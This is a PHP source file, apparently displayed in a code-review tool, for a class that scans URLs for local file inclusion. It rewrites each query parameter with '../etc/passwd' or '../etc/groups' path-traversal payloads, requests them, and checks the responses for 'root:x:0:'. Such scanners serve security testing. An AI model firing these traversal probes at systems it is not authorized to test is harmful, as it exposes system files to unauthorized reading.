1
|
|
|
<?php |
2
|
|
|
|
3
|
|
|
namespace Aszone\Vulnerabilities; |
4
|
|
|
|
5
|
|
|
use GuzzleHttp\ClientInterface; |
6
|
|
|
use Psr\Log\LoggerInterface; |
7
|
|
|
use Aszone\Vulnerabilities\Log\Logger; |
8
|
|
|
|
9
|
|
|
class LocalFileInclusion implements VulnerabilityScanner |
10
|
|
|
{ |
11
|
|
|
const EXPLOIT1 = '../etc/passwd'; |
12
|
|
|
const EXPLOIT2 = '../etc/groups'; |
13
|
|
|
const EXPLOIT1REGEX = 'root:x:0:'; |
14
|
|
|
const EXPLOIT2REGEX = 'root:x:0:'; |
15
|
|
|
|
16
|
|
|
private $client; |
17
|
|
|
|
18
|
|
|
private $logger; |
19
|
|
|
|
20
|
|
View Code Duplication |
public function __construct(ClientInterface $client, LoggerInterface $logger = null) |
21
|
|
|
{ |
22
|
|
|
$this->client = $client; |
23
|
|
|
|
24
|
|
|
if (empty($logger)) { |
25
|
|
|
$logger = new Logger; |
26
|
|
|
} |
27
|
|
|
|
28
|
|
|
$this->logger = $logger; |
29
|
|
|
} |
30
|
|
|
|
31
|
|
|
public function isVulnerable($target) |
32
|
|
|
{ |
33
|
|
|
if ($this->isLfiPossible($target)) { |
34
|
|
|
return $this->verify($target); |
35
|
|
|
} |
36
|
|
|
|
37
|
|
|
return false; |
38
|
|
|
} |
39
|
|
|
|
40
|
|
|
public function isLfiPossible($target) |
41
|
|
|
{ |
42
|
|
|
return (bool) preg_match("/\?|(.+?)\=/", $target); |
43
|
|
|
} |
44
|
|
|
|
45
|
|
View Code Duplication |
protected function verify($target) |
46
|
|
|
{ |
47
|
|
|
$urls = $this->generateUrls($target); |
48
|
|
|
$this->logger->info('\n'); |
49
|
|
|
|
50
|
|
|
foreach ($urls as $url) { |
51
|
|
|
if ($this->attack($url)) { |
52
|
|
|
$this->logger->info('Is Vull'); |
53
|
|
|
|
54
|
|
|
return $url; |
55
|
|
|
} |
56
|
|
|
} |
57
|
|
|
|
58
|
|
|
return false; |
59
|
|
|
} |
60
|
|
|
|
61
|
|
View Code Duplication |
protected function attack($url) |
62
|
|
|
{ |
63
|
|
|
$this->logger->info('.'); |
64
|
|
|
|
65
|
|
|
try { |
66
|
|
|
$body = $this->client->get($url)->getBody()->getContents(); |
67
|
|
|
|
68
|
|
|
if ($body |
69
|
|
|
&& $this->checkSuccess($body) |
70
|
|
|
) { |
71
|
|
|
return $url; |
72
|
|
|
} |
73
|
|
|
} catch (\Exception $e) { |
74
|
|
|
$this->logger->error('#'); |
75
|
|
|
} |
76
|
|
|
|
77
|
|
|
return false; |
78
|
|
|
} |
79
|
|
|
|
80
|
|
|
protected function checkSuccess($body) |
81
|
|
|
{ |
82
|
|
|
return preg_match('/'.static::EXPLOIT1REGEX.'|'.static::EXPLOIT2REGEX.'/', $body); |
83
|
|
|
} |
84
|
|
|
|
85
|
|
View Code Duplication |
public function generateUrls($target) |
86
|
|
|
{ |
87
|
|
|
$this->logger->info('.\n'.$target); |
88
|
|
|
|
89
|
|
|
$urls1 = $this->generateUrlsByExploit($target, static::EXPLOIT1); |
90
|
|
|
$urls2 = $this->generateUrlsByExploit($target, static::EXPLOIT2); |
91
|
|
|
|
92
|
|
|
return array_merge($urls1, $urls2); |
93
|
|
|
} |
94
|
|
|
|
95
|
|
|
protected function generateUrlsByExploit($target, $exploit) |
96
|
|
|
{ |
97
|
|
|
$explodeUrl = parse_url($target); |
98
|
|
|
$explodeQuery = explode('&', $explodeUrl['query']); |
99
|
|
|
|
100
|
|
View Code Duplication |
foreach ($explodeQuery as $keyQuery => $query) { |
|
|
|
|
101
|
|
|
$explodeQueryEqual = explode('=', $query); |
102
|
|
|
$wordsValue[$explodeQueryEqual[0]] = $explodeQueryEqual[1]; |
103
|
|
|
} |
104
|
|
|
|
105
|
|
View Code Duplication |
foreach ($wordsValue as $keyValue => $value) { |
|
|
|
|
106
|
|
|
$urls[] = str_replace($keyValue.'='.$value, $keyValue.'=??????????', $target); |
107
|
|
|
} |
108
|
|
|
|
109
|
|
|
$urlFinal = []; |
110
|
|
View Code Duplication |
foreach ($urls as $url) { |
|
|
|
|
111
|
|
|
$urlFinal[] = str_replace('??????????', $exploit, $url); |
112
|
|
|
$breakFolder = '../'; |
113
|
|
|
|
114
|
|
|
for ($i = 0; $i < 10; ++$i) { |
115
|
|
|
$urlFinal[] = str_replace('??????????', $breakFolder.$exploit, $url); |
116
|
|
|
$breakFolder .= '../'; |
117
|
|
|
} |
118
|
|
|
} |
119
|
|
|
|
120
|
|
|
return $urlFinal; |
121
|
|
|
} |
122
|
|
|
|
123
|
|
|
|
124
|
|
|
|
125
|
|
|
} |
126
|
|
|
|
Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation.
You can also find more detailed suggestions in the “Code” section of your repository.